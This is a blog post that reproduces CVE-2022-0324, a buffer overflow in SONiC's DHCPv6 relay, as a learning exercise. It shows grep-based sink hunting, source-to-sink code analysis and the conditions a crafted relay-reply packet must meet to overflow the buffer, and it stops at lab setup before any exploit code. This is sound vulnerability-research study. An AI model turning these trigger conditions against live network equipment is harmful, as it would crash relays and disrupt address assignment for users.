Reproducing CVE-2022-0324: Buffer Overflow in dhcp6relay of SONiC
CVE-2022-0324 is a stack buffer overflow vulnerability in the memcpy function within the DHCPv6 relay server of the SONiC network operating system, discovered through sink-to-source analysis.
This is the beginning of my journey into vulnerability security researching. The first book I chose to read is From Day Zero to Zero Day, A Hands-On Guide to Vulnerability Research by author Eugene Lim. I’ve linked his blog, spaceraccoon’s blog, in the resources section on the left sidebar.
In this series of posts tagged #from-day-zero-to-zero-day, I’ll be documenting and reproducing the vulnerabilities he presents in the book, as well as other necessary knowledge. And I’ll be writing it in my own words, with some help of AI :)
The following vulnerability is found in Chapter 1, Part 1 of the book, and discovered using Sink-to-Source analysis.
Overview
Here is the overview about the vulnerability that I asked Claude to summarize:
CVE-2022-0324 is a critical buffer overflow vulnerability in the dhcp6relay component of the SONiC (Software for Open Networking in the Cloud) network operating system, with a CVSS 3.1 score ranging from 7.5 to 8.1 (HIGH severity). The vulnerability allows remote attackers to send malicious DHCPv6 packets causing a buffer overflow in the memcpy call, leading to out-of-bounds memory write and crashing the dhcp6relay process. The vulnerability was discovered by Eugene Lim from GovTech Singapore in late 2021, patched on 28/01/2022, and officially disclosed on 14/11/2022.
Identifying Exploitable Sinks
First, let us clone SONiC’s build image:
$ git clone https://github.com/sonic-net/sonic-buildimage
$ cd sonic-buildimage
$ git checkout bcf5388To select appropriate sinks, we can refer to the list of dangerous sinks (functions) that should be banned from use. For example, the list managed by Microsoft: C28719 Warning - Windows drivers | Microsoft Learn. Here I’m targeting the memcpy function in SONiC’s code base to check for buffer overflow, I’ll use grep to extract memcpy calls:
$ cd sonic-buildimage/src/
$ grep -r "memcpy(" . --include="*.c" --include="*.cpp" | wc -l
237The result has 237 calls. I want to filter out calls where the 3rd argument is potentially controllable, so I’ll assume the variable name of the 3rd argument starts with a lowercase letter. Eliminating cases starting with digits (passing numbers directly) or cases starting with uppercase letters (passing constant variables).
$ grep -rE "memcpy\([^,]*,[^,]*,\s*[a-z]" --include="*.c" --include="*.cpp" . | wc -l
97This is the approach to filter sinks as written in the book. I think there might be cases where the 3rd argument is not controllable, but the 1st argument might be, leading to writing to unexpected memory regions. But maybe that’s quite rare? I also don’t remember if I’ve encountered this case when playing CTF before :v
The result is reduced by more than half. I’ll continue observing to see if there are any more cases that can be eliminated.
$ grep -rE "memcpy\([^,]*,[^,]*,\s*[a-z]" --include="*.c" --include="*.cpp" .
./iccpd/src/mlacp_link_handler.c: memcpy(sub_msg->data, lif->name, msg_len);
./iccpd/src/mlacp_link_handler.c: memcpy(sub_msg->data, po_name, sub_msg->op_len);
./iccpd/src/mlacp_link_handler.c: memcpy(sub_msg->data, &mlag_id, sub_msg->op_len);
./iccpd/src/mlacp_link_handler.c: memcpy(sub_msg->data, &is_oper_up, sub_msg->op_len);
./iccpd/src/mlacp_link_handler.c: memcpy(sub_msg->data, &mlag_id, sub_msg->op_len);
./iccpd/src/mlacp_link_handler.c: memcpy(sub_msg->data, &is_active_role, sub_msg->op_len);
./iccpd/src/mlacp_link_handler.c: memcpy(sub_msg->data, system_id, sub_msg->op_len);
./iccpd/src/mlacp_link_handler.c: memcpy(sub_msg->data, &mlag_id, sub_msg->op_len);
./iccpd/src/mlacp_link_handler.c: memcpy(sub_msg->data, system_id, sub_msg->op_len);
./iccpd/src/mlacp_link_handler.c: memcpy(sub_msg->data, &mlag_id, sub_msg->op_len);
./iccpd/src/mlacp_link_handler.c: memcpy(sub_msg->data, &mlag_id, sub_msg->op_len);
./iccpd/src/mlacp_link_handler.c: memcpy(sub_msg->data, po_name, sub_msg->op_len);
./iccpd/src/mlacp_link_handler.c: memcpy(sub_msg->data, &is_oper_up, sub_msg->op_len);
./iccpd/src/mlacp_link_handler.c: memcpy(sub_msg->data, &mlag_id, sub_msg->op_len);
./iccpd/src/mlacp_link_handler.c: memcpy(sub_msg->data, po_name, sub_msg->op_len);
./iccpd/src/mlacp_link_handler.c: memcpy(sub_msg->data, &mlag_id, sub_msg->op_len);
./iccpd/src/mlacp_link_handler.c: memcpy(sub_msg->data, po_name, sub_msg->op_len);
./iccpd/src/mlacp_link_handler.c: memcpy(sub_msg->data, &is_isolation_enable, sub_msg->op_len);
./iccpd/src/mlacp_link_handler.c: memcpy(sub_msg->data, src_buf, src_len);
./iccpd/src/mlacp_link_handler.c: memcpy(sub_msg->data, csm->peer_link_if->name, src_len);
./iccpd/src/mlacp_link_handler.c: memcpy(sub_msg->data, mlag_po_buf, dst_len);
./iccpd/src/mlacp_link_handler.c: memcpy(system_mac_str, mac_addr_to_str(cfg_info->system_mac), sizeof(system_mac_str));
./iccpd/src/mlacp_link_handler.c: memcpy(buf, &len_tmp, sizeof(int));
./iccpd/src/mlacp_link_handler.c: memcpy(Pbuf, &len_tmp, sizeof(int));
./iccpd/src/mlacp_link_handler.c: memcpy(buf, &len_tmp, sizeof(int));
./iccpd/src/mlacp_link_handler.c: memcpy(Pbuf, &len_tmp, sizeof(int));
./iccpd/src/mlacp_link_handler.c: memcpy(buf, &len_tmp, sizeof(int));
./iccpd/src/mlacp_link_handler.c: memcpy(Pbuf, &len_tmp, sizeof(int));
./iccpd/src/mlacp_link_handler.c: memcpy(buf, &len_tmp, sizeof(int));
./iccpd/src/mlacp_link_handler.c: memcpy(Pbuf, &len_tmp, sizeof(int));
./iccpd/src/mlacp_link_handler.c: memcpy(buf, &len_tmp, sizeof(int));
./iccpd/src/mlacp_link_handler.c: memcpy(Pbuf, &len_tmp, sizeof(int));
./iccpd/src/mlacp_link_handler.c: memcpy(buf, &len_tmp, sizeof(int));
./iccpd/src/mlacp_link_handler.c: memcpy(Pbuf, &len_tmp, sizeof(int));
./iccpd/src/mlacp_link_handler.c: memcpy(buf, &len_tmp, sizeof(int));
./iccpd/src/mlacp_link_handler.c: memcpy(Pbuf, &len_tmp, sizeof(int));
./iccpd/src/mlacp_link_handler.c: memcpy(buf, &len_tmp, sizeof(int));
./iccpd/src/mlacp_link_handler.c: memcpy(Pbuf, &len_tmp, sizeof(int));
./iccpd/src/mlacp_link_handler.c: memcpy(buf, &len_tmp, sizeof(int));
./iccpd/src/mlacp_sync_prepare.c: memcpy(tlv->if_name, port_channel->name, name_len);
./iccpd/src/iccp_cmd_show.c: memcpy(state_info.peer_link_if, unknown, strlen(unknown));
./iccpd/src/iccp_cmd_show.c: memcpy(state_info.loglevel, log_level_to_string(logconfig->log_level), strlen( log_level_to_string(logconfig->log_level)));
./iccpd/src/iccp_cmd_show.c: memcpy(mclagd_arp.ifname, iccpd_arp->ifname, strlen(iccpd_arp->ifname));
./iccpd/src/iccp_cmd_show.c: memcpy(mclagd_ndisc.ifname, iccpd_ndisc->ifname, strlen(iccpd_ndisc->ifname));
./iccpd/src/iccp_cmd_show.c: memcpy(ndisc_buf + MCLAGD_REPLY_INFO_HDR + ndisc_num * sizeof(struct mclagd_ndisc_msg), &mclagd_ndisc, sizeof(struct mclagd_ndisc_msg));
./iccpd/src/iccp_cmd_show.c: memcpy(mclagd_mac.ifname, iccpd_mac->ifname, strlen(iccpd_mac->ifname));
./iccpd/src/iccp_cmd_show.c: memcpy(mclagd_mac.origin_ifname, iccpd_mac->origin_ifname, strlen(iccpd_mac->origin_ifname));
./iccpd/src/iccp_cmd_show.c: memcpy(mclagd_lif.type, "Unknown", strlen("unknown"));
./iccpd/src/iccp_cmd_show.c: memcpy(mclagd_lif.type, "Ethernet", strlen("Ethernet"));
./iccpd/src/iccp_cmd_show.c: memcpy(mclagd_lif.state, "Up", strlen("Up"));
./iccpd/src/iccp_cmd_show.c: memcpy(mclagd_lif.state, "Down", strlen("Down"));
./iccpd/src/iccp_cmd_show.c: memcpy(mclagd_lif.state, "Admin-down", strlen("Admin-down"));
./iccpd/src/iccp_cmd_show.c: memcpy(mclagd_lif.state, "Test", strlen("Test"));
./iccpd/src/iccp_cmd_show.c: memcpy(mclagd_lif.mlacp_state, "INIT", strlen("INIT"));
./iccpd/src/iccp_cmd_show.c: memcpy(mclagd_lif.mlacp_state, "STAGE1", strlen("STAGE1"));
./iccpd/src/iccp_cmd_show.c: memcpy(mclagd_lif.mlacp_state, "STAGE2", strlen("STAGE2"));
./iccpd/src/iccp_cmd_show.c: memcpy(mclagd_lif.mlacp_state, "EXCHANGE", strlen("EXCHANGE"));
./iccpd/src/iccp_cmd_show.c: memcpy(mclagd_lif.mlacp_state, "ERROR", strlen("ERROR"));
./iccpd/src/iccp_cmd_show.c: memcpy(&counter_ptr->system_dbg, &sys->dbg_counters, sizeof(sys->dbg_counters));
./iccpd/src/mlacp_sync_update.c: memcpy(pif->name, portconf->agg_name, portconf->agg_name_len);
./iccpd/src/iccp_netlink.c: memcpy(local_if->portchannel_member_buf, temp_buf, sizeof(local_if->portchannel_member_buf) - 1);
./iccpd/src/iccp_netlink.c: memcpy(local_if->portchannel_member_buf, temp_buf, sizeof(local_if->portchannel_member_buf) - 1);
./iccpd/src/iccp_netlink.c: memcpy(sub_msg->data, mac_addr, dst_len);
./iccpd/src/iccp_netlink.c: memcpy((char *)(&target), (char *)(&ndmsg->target), sizeof(struct in6_addr));
./iccpd/src/mclagdctl/mclagdctl.c: memcpy((struct mclagdctl_req_hdr *)msg, &req, sizeof(struct mclagdctl_req_hdr));
./iccpd/src/mclagdctl/mclagdctl.c: memcpy((struct mclagdctl_req_hdr *)msg, &req, sizeof(struct mclagdctl_req_hdr));
./iccpd/src/mclagdctl/mclagdctl.c: memcpy((struct mclagdctl_req_hdr *)msg, &req, sizeof(struct mclagdctl_req_hdr));
./iccpd/src/mclagdctl/mclagdctl.c: memcpy((struct mclagdctl_req_hdr *)msg, &req, sizeof(struct mclagdctl_req_hdr));
./iccpd/src/mclagdctl/mclagdctl.c: memcpy((struct mclagdctl_req_hdr *)msg, &req, sizeof(struct mclagdctl_req_hdr));
./iccpd/src/mclagdctl/mclagdctl.c: memcpy((struct mclagdctl_req_hdr *)msg, &req, sizeof(struct mclagdctl_req_hdr));
./iccpd/src/mclagdctl/mclagdctl.c: memcpy((struct mclagdctl_req_hdr *)msg, &req, sizeof(struct mclagdctl_req_hdr));
./iccpd/src/mclagdctl/mclagdctl.c: memcpy((struct mclagdctl_req_hdr *)msg, &req, sizeof(struct mclagdctl_req_hdr));
./iccpd/src/mclagdctl/mclagdctl.c: memcpy((struct mclagdctl_req_hdr *)msg, &req, sizeof(struct mclagdctl_req_hdr));
./iccpd/src/iccp_cli.c: memcpy(csm->peer_itf_name, ifname, len);
./iccpd/src/iccp_cli.c: memcpy(csm->sender_ip, addr, len);
./iccpd/src/iccp_cli.c: memcpy(csm->iccp_info.sender_name, addr, len);
./iccpd/src/iccp_cli.c: memcpy(csm->peer_ip, addr, len);
./iccpd/src/iccp_csm.c: memcpy(sender->sender_name, csm->iccp_info.sender_name, name_len);
./iccpd/src/iccp_csm.c: memcpy(iccp_msg->buf, data, len);
./iccpd/src/iccp_csm.c: memcpy(iccp_mac_msg, data, len);
./radius/nss/libnss-radius/nss_radius_common.c: memcpy( buffer, res->pw_name, namlen + 1);
./radius/nss/libnss-radius/nss_radius_common.c: memcpy( buffer, res->pw_gecos, gecoslen + 1);
./radius/nss/libnss-radius/nss_radius_common.c: memcpy( buffer, res->pw_dir, dirlen + 1);
./radius/nss/libnss-radius/nss_radius_common.c: memcpy( buffer, res->pw_shell, shelllen + 1);
./dhcpmon/src/dhcp_device.c: memcpy(context->mac, ifr.ifr_hwaddr.sa_data, sizeof(context->mac));
./dhcpmon/src/dhcp_device.c: memcpy(&context->ipv6, &in6->sin6_addr, sizeof(context->ipv6));
./tacacs/bash_tacplus/unittest/mock_helper.c: memcpy(tac_srv[idx].addr, servers, sizeof(struct addrinfo));
./tacacs/bash_tacplus/unittest/mock_helper.c: memcpy(tac_srv[idx].addr->ai_addr, servers->ai_addr, sizeof(struct sockaddr));
./dhcp6relay/src/relay.cpp: memcpy(buffer, &option, sizeof(struct dhcpv6_option));
./dhcp6relay/src/relay.cpp: memcpy(buffer + sizeof(struct dhcpv6_option), msg, msg_length);
./dhcp6relay/src/relay.cpp: memcpy(&new_message.peer_address, &ip_hdr->ip6_src, sizeof(in6_addr));
./dhcp6relay/src/relay.cpp: memcpy(&new_message.link_address, &config->link_address.sin6_addr, sizeof(in6_addr));
./dhcp6relay/src/relay.cpp: memcpy(current_buffer_position, &new_message, sizeof(dhcpv6_relay_msg));
./dhcp6relay/src/relay.cpp: memcpy(current_buffer_position, &option79, sizeof(linklayer_addr_option));
./dhcp6relay/src/relay.cpp: memcpy(current_buffer_position, ðer_hdr->ether_shost, sizeof(ether_hdr->ether_shost));
./dhcp6relay/src/relay.cpp: memcpy(current_buffer_position, ((uint8_t *)option) + sizeof(struct dhcpv6_option), ntohs(option->option_length));
./dhcp6relay/src/relay.cpp: memcpy(&target_addr.sin6_addr, &dhcp_relay_header->peer_address, sizeof(struct in6_addr));Here I observe that there are cases calling sizeof() of a struct in the 3rd argument, which I probably can’t interfere with, because I think the sizeof() of a struct normally means that struct will be the data type of the first argument. So there’s no possibility of buffer overflow occurring. Therefore I’ll exclude sizeof().
$ grep -rE "memcpy\s*\([^,]*,[^,]*,\s*[a-z]" --include="*.c" --include="*.cpp" . | grep -vE "memcpy\s*\([^,]*,[^,]*,\s*sizeof"
./iccpd/src/mlacp_link_handler.c: memcpy(sub_msg->data, lif->name, msg_len);
./iccpd/src/mlacp_link_handler.c: memcpy(sub_msg->data, po_name, sub_msg->op_len);
./iccpd/src/mlacp_link_handler.c: memcpy(sub_msg->data, &mlag_id, sub_msg->op_len);
./iccpd/src/mlacp_link_handler.c: memcpy(sub_msg->data, &is_oper_up, sub_msg->op_len);
./iccpd/src/mlacp_link_handler.c: memcpy(sub_msg->data, &mlag_id, sub_msg->op_len);
./iccpd/src/mlacp_link_handler.c: memcpy(sub_msg->data, &is_active_role, sub_msg->op_len);
./iccpd/src/mlacp_link_handler.c: memcpy(sub_msg->data, system_id, sub_msg->op_len);
./iccpd/src/mlacp_link_handler.c: memcpy(sub_msg->data, &mlag_id, sub_msg->op_len);
./iccpd/src/mlacp_link_handler.c: memcpy(sub_msg->data, system_id, sub_msg->op_len);
./iccpd/src/mlacp_link_handler.c: memcpy(sub_msg->data, &mlag_id, sub_msg->op_len);
./iccpd/src/mlacp_link_handler.c: memcpy(sub_msg->data, &mlag_id, sub_msg->op_len);
./iccpd/src/mlacp_link_handler.c: memcpy(sub_msg->data, po_name, sub_msg->op_len);
./iccpd/src/mlacp_link_handler.c: memcpy(sub_msg->data, &is_oper_up, sub_msg->op_len);
./iccpd/src/mlacp_link_handler.c: memcpy(sub_msg->data, &mlag_id, sub_msg->op_len);
./iccpd/src/mlacp_link_handler.c: memcpy(sub_msg->data, po_name, sub_msg->op_len);
./iccpd/src/mlacp_link_handler.c: memcpy(sub_msg->data, &mlag_id, sub_msg->op_len);
./iccpd/src/mlacp_link_handler.c: memcpy(sub_msg->data, po_name, sub_msg->op_len);
./iccpd/src/mlacp_link_handler.c: memcpy(sub_msg->data, &is_isolation_enable, sub_msg->op_len);
./iccpd/src/mlacp_link_handler.c: memcpy(sub_msg->data, src_buf, src_len);
./iccpd/src/mlacp_link_handler.c: memcpy(sub_msg->data, csm->peer_link_if->name, src_len);
./iccpd/src/mlacp_link_handler.c: memcpy(sub_msg->data, mlag_po_buf, dst_len);
./iccpd/src/mlacp_sync_prepare.c: memcpy(tlv->if_name, port_channel->name, name_len);
./iccpd/src/iccp_cmd_show.c: memcpy(state_info.peer_link_if, unknown, strlen(unknown));
./iccpd/src/iccp_cmd_show.c: memcpy(state_info.loglevel, log_level_to_string(logconfig->log_level), strlen( log_level_to_string(logconfig->log_level)));
./iccpd/src/iccp_cmd_show.c: memcpy(mclagd_arp.ifname, iccpd_arp->ifname, strlen(iccpd_arp->ifname));
./iccpd/src/iccp_cmd_show.c: memcpy(mclagd_ndisc.ifname, iccpd_ndisc->ifname, strlen(iccpd_ndisc->ifname));
./iccpd/src/iccp_cmd_show.c: memcpy(mclagd_mac.ifname, iccpd_mac->ifname, strlen(iccpd_mac->ifname));
./iccpd/src/iccp_cmd_show.c: memcpy(mclagd_mac.origin_ifname, iccpd_mac->origin_ifname, strlen(iccpd_mac->origin_ifname));
./iccpd/src/iccp_cmd_show.c: memcpy(mclagd_lif.type, "Unknown", strlen("unknown"));
./iccpd/src/iccp_cmd_show.c: memcpy(mclagd_lif.type, "Ethernet", strlen("Ethernet"));
./iccpd/src/iccp_cmd_show.c: memcpy(mclagd_lif.state, "Up", strlen("Up"));
./iccpd/src/iccp_cmd_show.c: memcpy(mclagd_lif.state, "Down", strlen("Down"));
./iccpd/src/iccp_cmd_show.c: memcpy(mclagd_lif.state, "Admin-down", strlen("Admin-down"));
./iccpd/src/iccp_cmd_show.c: memcpy(mclagd_lif.state, "Test", strlen("Test"));
./iccpd/src/iccp_cmd_show.c: memcpy(mclagd_lif.mlacp_state, "INIT", strlen("INIT"));
./iccpd/src/iccp_cmd_show.c: memcpy(mclagd_lif.mlacp_state, "STAGE1", strlen("STAGE1"));
./iccpd/src/iccp_cmd_show.c: memcpy(mclagd_lif.mlacp_state, "STAGE2", strlen("STAGE2"));
./iccpd/src/iccp_cmd_show.c: memcpy(mclagd_lif.mlacp_state, "EXCHANGE", strlen("EXCHANGE"));
./iccpd/src/iccp_cmd_show.c: memcpy(mclagd_lif.mlacp_state, "ERROR", strlen("ERROR"));
./iccpd/src/mlacp_sync_update.c: memcpy(pif->name, portconf->agg_name, portconf->agg_name_len);
./iccpd/src/iccp_netlink.c: memcpy(sub_msg->data, mac_addr, dst_len);
./iccpd/src/iccp_cli.c: memcpy(csm->peer_itf_name, ifname, len);
./iccpd/src/iccp_cli.c: memcpy(csm->sender_ip, addr, len);
./iccpd/src/iccp_cli.c: memcpy(csm->iccp_info.sender_name, addr, len);
./iccpd/src/iccp_cli.c: memcpy(csm->peer_ip, addr, len);
./iccpd/src/iccp_csm.c: memcpy(sender->sender_name, csm->iccp_info.sender_name, name_len);
./iccpd/src/iccp_csm.c: memcpy(iccp_msg->buf, data, len);
./iccpd/src/iccp_csm.c: memcpy(iccp_mac_msg, data, len);
./radius/nss/libnss-radius/nss_radius_common.c: memcpy( buffer, res->pw_name, namlen + 1);
./radius/nss/libnss-radius/nss_radius_common.c: memcpy( buffer, res->pw_gecos, gecoslen + 1);
./radius/nss/libnss-radius/nss_radius_common.c: memcpy( buffer, res->pw_dir, dirlen + 1);
./radius/nss/libnss-radius/nss_radius_common.c: memcpy( buffer, res->pw_shell, shelllen + 1);
./dhcp6relay/src/relay.cpp: memcpy(buffer + sizeof(struct dhcpv6_option), msg, msg_length);
./dhcp6relay/src/relay.cpp: memcpy(current_buffer_position, ((uint8_t *)option) + sizeof(struct dhcpv6_option), ntohs(option->option_length));Next I’ll also exclude strlen() that takes constant strings as input, because I can’t interfere with those either.
$ grep -rE "memcpy\s*\([^,]*,[^,]*,\s*[a-z]" --include="*.c" --include="*.cpp" . | grep -vE "memcpy\s*\([^,]*,[^,]*,\s*(sizeof|strlen\(\")"
./iccpd/src/mlacp_link_handler.c: memcpy(sub_msg->data, lif->name, msg_len);
./iccpd/src/mlacp_link_handler.c: memcpy(sub_msg->data, po_name, sub_msg->op_len);
./iccpd/src/mlacp_link_handler.c: memcpy(sub_msg->data, &mlag_id, sub_msg->op_len);
./iccpd/src/mlacp_link_handler.c: memcpy(sub_msg->data, &is_oper_up, sub_msg->op_len);
./iccpd/src/mlacp_link_handler.c: memcpy(sub_msg->data, &mlag_id, sub_msg->op_len);
./iccpd/src/mlacp_link_handler.c: memcpy(sub_msg->data, &is_active_role, sub_msg->op_len);
./iccpd/src/mlacp_link_handler.c: memcpy(sub_msg->data, system_id, sub_msg->op_len);
./iccpd/src/mlacp_link_handler.c: memcpy(sub_msg->data, &mlag_id, sub_msg->op_len);
./iccpd/src/mlacp_link_handler.c: memcpy(sub_msg->data, system_id, sub_msg->op_len);
./iccpd/src/mlacp_link_handler.c: memcpy(sub_msg->data, &mlag_id, sub_msg->op_len);
./iccpd/src/mlacp_link_handler.c: memcpy(sub_msg->data, &mlag_id, sub_msg->op_len);
./iccpd/src/mlacp_link_handler.c: memcpy(sub_msg->data, po_name, sub_msg->op_len);
./iccpd/src/mlacp_link_handler.c: memcpy(sub_msg->data, &is_oper_up, sub_msg->op_len);
./iccpd/src/mlacp_link_handler.c: memcpy(sub_msg->data, &mlag_id, sub_msg->op_len);
./iccpd/src/mlacp_link_handler.c: memcpy(sub_msg->data, po_name, sub_msg->op_len);
./iccpd/src/mlacp_link_handler.c: memcpy(sub_msg->data, &mlag_id, sub_msg->op_len);
./iccpd/src/mlacp_link_handler.c: memcpy(sub_msg->data, po_name, sub_msg->op_len);
./iccpd/src/mlacp_link_handler.c: memcpy(sub_msg->data, &is_isolation_enable, sub_msg->op_len);
./iccpd/src/mlacp_link_handler.c: memcpy(sub_msg->data, src_buf, src_len);
./iccpd/src/mlacp_link_handler.c: memcpy(sub_msg->data, csm->peer_link_if->name, src_len);
./iccpd/src/mlacp_link_handler.c: memcpy(sub_msg->data, mlag_po_buf, dst_len);
./iccpd/src/mlacp_sync_prepare.c: memcpy(tlv->if_name, port_channel->name, name_len);
./iccpd/src/iccp_cmd_show.c: memcpy(state_info.peer_link_if, unknown, strlen(unknown));
./iccpd/src/iccp_cmd_show.c: memcpy(state_info.loglevel, log_level_to_string(logconfig->log_level), strlen( log_level_to_string(logconfig->log_level)));
./iccpd/src/iccp_cmd_show.c: memcpy(mclagd_arp.ifname, iccpd_arp->ifname, strlen(iccpd_arp->ifname));
./iccpd/src/iccp_cmd_show.c: memcpy(mclagd_ndisc.ifname, iccpd_ndisc->ifname, strlen(iccpd_ndisc->ifname));
./iccpd/src/iccp_cmd_show.c: memcpy(mclagd_mac.ifname, iccpd_mac->ifname, strlen(iccpd_mac->ifname));
./iccpd/src/iccp_cmd_show.c: memcpy(mclagd_mac.origin_ifname, iccpd_mac->origin_ifname, strlen(iccpd_mac->origin_ifname));
./iccpd/src/mlacp_sync_update.c: memcpy(pif->name, portconf->agg_name, portconf->agg_name_len);
./iccpd/src/iccp_netlink.c: memcpy(sub_msg->data, mac_addr, dst_len);
./iccpd/src/iccp_cli.c: memcpy(csm->peer_itf_name, ifname, len);
./iccpd/src/iccp_cli.c: memcpy(csm->sender_ip, addr, len);
./iccpd/src/iccp_cli.c: memcpy(csm->iccp_info.sender_name, addr, len);
./iccpd/src/iccp_cli.c: memcpy(csm->peer_ip, addr, len);
./iccpd/src/iccp_csm.c: memcpy(sender->sender_name, csm->iccp_info.sender_name, name_len);
./iccpd/src/iccp_csm.c: memcpy(iccp_msg->buf, data, len);
./iccpd/src/iccp_csm.c: memcpy(iccp_mac_msg, data, len);
./radius/nss/libnss-radius/nss_radius_common.c: memcpy( buffer, res->pw_name, namlen + 1);
./radius/nss/libnss-radius/nss_radius_common.c: memcpy( buffer, res->pw_gecos, gecoslen + 1);
./radius/nss/libnss-radius/nss_radius_common.c: memcpy( buffer, res->pw_dir, dirlen + 1);
./radius/nss/libnss-radius/nss_radius_common.c: memcpy( buffer, res->pw_shell, shelllen + 1);
./dhcp6relay/src/relay.cpp: memcpy(buffer + sizeof(struct dhcpv6_option), msg, msg_length);
./dhcp6relay/src/relay.cpp: memcpy(current_buffer_position, ((uint8_t *)option) + sizeof(struct dhcpv6_option), ntohs(option->option_length));Ok now I’m left with these. Note from the author that filtering out like this doesn’t necessarily remove false positives and might add false negatives, but it will reduce the manual analysis work.
I might have to check all of these, and finally get to this:
./dhcp6relay/src/relay.cpp: memcpy(current_buffer_position, ((uint8_t *)option) + sizeof(struct dhcpv6_option), ntohs(option->option_length));This function call is located in the relay.cpp file of the dhcp6relay module, specifically in the relay_relay_reply function.

From my research, a dhcp relay server is a server that acts as an intermediary device forwarding IP address allocation requests from clients in one subnet to the dhcp server in another subnet when they’re not in the same subnet. The 6 in dhcp6relay stands for IPv6, meaning it’s used for the IPv6 protocol rather than traditional v4.
This relay_relay_reply function, following the above definition, I can understand it forwards back the reply from the dhcp server to the client. According to Copilot, “The relay_relay_reply function is used to “unwrap” a DHCPv6 Relay-Reply message received from the server and forward the original payload (encapsulated in the OPTION_RELAY_MSG option) back to the end client.”
So that means this function might receive data from the outside, and I might be able to interfere with that? I’ll continue to analyze each argument of this function call. The first argument, current_buffer_position, I see that buffer is assigned to it, and buffer is declared above with a fixed size of 4096 bytes. Ok good, I know it’s a fixed size, so if the 3rd argument’s value exceeds this size, it’s going to cause overflow.

Next I’ll analyze argument 3 instead of argument 2. Because I think the author did this because if you can interfere with the write length, it’s easier to cause buffer overflow than interfering with the source data.

I see that option is the return value from the parse_dhcpv6_opt() function that takes in current_position and tmp, then the option_length attribute is converted using the ntohs() function, which is used to convert a 16-bit value from network byte order (big-endian) to host byte order (little-endian).

This function is used to read a dhcpv6_option at the position of the buffer parameter, then returns a pointer of type dhcpv6_option. This is a structure defined in the relay.h file, with a size of 4 bytes:
struct dhcpv6_option {
uint16_t option_code;
uint16_t option_length;
};option_length is 16 bits long, which is 2 bytes, so it has a maximum value of 65536, much larger than the buffer size of 4096 bytes. This shows signs that it could be exploitable.
The next position of current_position will be set to tmp, where tmp in the dhcpv6_option function is set as current_position shifted by an amount equal to the total size of the struct and option_length.
First current_position is assigned as msg, tmp is a NULL pointer. Then current_position is incremented by a segment equal to the size of the dhcpv6_relay_msg struct. Next in the while loop with the condition that the distance from current_position to msg differs from len, current_position and tmp are used as I described above.

position is set after current_position by a distance equal to the size of dhcpv6_option, then it’s parsed into dhcpv6_msg:


So I can imagine the structure of a reply as follows:
msg current_position position tmp msg + len
│ │ │ │ │
▼ ▼ ▼ ▼ ▼
┌──────────────────────┬───────────────────┬────────────────────────┐ ┌───────┐
│ dhcpv6_relay_msg │ dhcpv6_option │ dhcpv6_msg │...│ │
└──────────────────────┴───────────────────┴────────────────────────┘ └───────┘
4 bytes [option_length] bytes I know that as long as current_position hasn’t reached msg + len (where I understand msg as the pointer to the reply header, and len is the length of that reply), and the current option_code has the value OPTION_RELAY_MSG, which was previously defined in relay.h as #define OPTION_RELAY_MSG 9, then this memcpy call will be executed.

So if I control a fake msg, with maximum option_length, I can cause a buffer overflow and crash the program. I’ll continue analyzing the calls to the relay_relay_reply function to find out the source of the 2nd parameter msg.
Identifying Reachable Source
In relay.cpp, there’s only one call of relay_relay_reply() which is in the server_callback() function, where the msg passed in is message_buffer, which was previously written with data received from socket config->local_sock using the recvfrom function. The function is called with the condition that msg_type must be DHCPv6_MESSAGE_TYPE_RELAY_REPL = 13 (defined in relay.h).

Ok I now know that the current sink (the memcpy function) can be reached from the source which is data retrieved from socket config->local_sock. So next I’ll determine whether I can interfere with this source by analyzing whether I can send data into this socket or not.

The config here is taken from the arg parameter. I know that above they explained this is a callback function that’s called every time data is received from the server socket (which I understand as data returned from the dhcp server).
server_callback is registered in the loop_relay() function with the config argument passed in, which has already been assigned local_sock and server_sock, these 2 sockets are created in the prepare_socket() function.

I continue examining more carefully how local_socket is created in the prepare_socket() function:

Two addresses are initialized, addr and ll_addr, to finally bind to the 2 corresponding sockets local_sock and server_sock. addr is assigned a non-link-local address of the interface, at port RELAY_PORT (defined in relay.h as #define RELAY_PORT 547), ll_addr is assigned a link-local address of the interface, also at that port.
I have a few questions when reading up to this point in the book:
- What are IPv6 non-link-local and link-local? (Because I haven’t learnt about IPv6 yet)
- What are
local_sockandserver_sockused for?
After asking Perplexity and Copilot, I have the answers:
Link-local addresses have an operational scope only on the same link, meaning a physical network segment where devices can communicate with each other without going through a router, for example within the same LAN, VLAN. It sounds somewhat like a subnet but as I understand it, a link is a physical scope, while a subnet is a logical scope (determined by address range). A subnet doesn’t necessarily have to be the same link, but typically an ideal subnet should be a single physical link. Link-local always starts with
FE80::/10, and cannot be routed to the Internet. Every IPv6 interface always automatically has a link-local address when enabled. Thell_adraddress is bound to theserver_socksocket with the function of sending dhcp replies back to clients, used inrelay_relay_reply().Non-link-local is the opposite of link-local, can be routed through the Internet, doesn’t start with
FE80::/10. An IPv6 interface doesn’t necessarily have to have non-link-local. Here, theaddraddress is bound to thelocal_socksocket with the function of listening for relay replies from the dhcp server to clients, used inserver_callback(), as well as relaying requests from clients up to the dhcp server. Ok I now understand whatlocal_sockandserver_sockare used for. And I know that data read fromlocal_socketis used directly without checking where the data comes from, and there’s also no step to sanitize the data when reaching the sink. So I confirm that I have the ability to interfere with the source (recvfrom()) by sending any reply to thelocal_socketof the relay server, thereby creating a dangerousdhcpv6_optionthat can cause buffer overflow.
Building The PoC
Ok We’ve found a feasible path from a source I can interfere with to a dangerous sink, and I need to do the following things to actually reach the sink:
- Send data into
local_socket, the data is a dhcp reply packet with valid structure. - At
server_callback(),msg->msg_type=DHCPv6_MESSAGE_TYPE_RELAY_REPL=13. - At
relay_relay_reply(), there must be at least onedhcpv6_optionlocated afterdhcpv6_relay_msg. - In the
dhcpv6_option,option_code=OPTION_RELAY_MSG=9.
The next step, which plays a very important role, is building a testing environment to run the exploit. This takes quite a bit of effort. The book has explained the methodology to build it very thoroughly, I won’t rewrite it, I’ll use the docker file the author provided directly:
$ docker build -t dhcp6relay .
$ docker run -it --cap-add=NET_ADMIN --sysctl net.ipv6.conf.all.disable_ipv6=0 dhcp6relayI have to write exploit.py before building because in the Dockerfile it will copy the exploit directly into it.
I again need to explain the script add_ipv6_addresses.sh that the author used to configure the vlan interface and database in redis, because when I read it I found it a bit confusing :v
/etc/init.d/redis-server restart
ip link add link eth0 name vlan type vlan id 3
ip -6 addr add fe80::20c:29ff:fe90:14c5/64 dev vlan
ip -6 addr add 2a00:7b80:451:1::10/64 dev vlan
ip link set vlan up
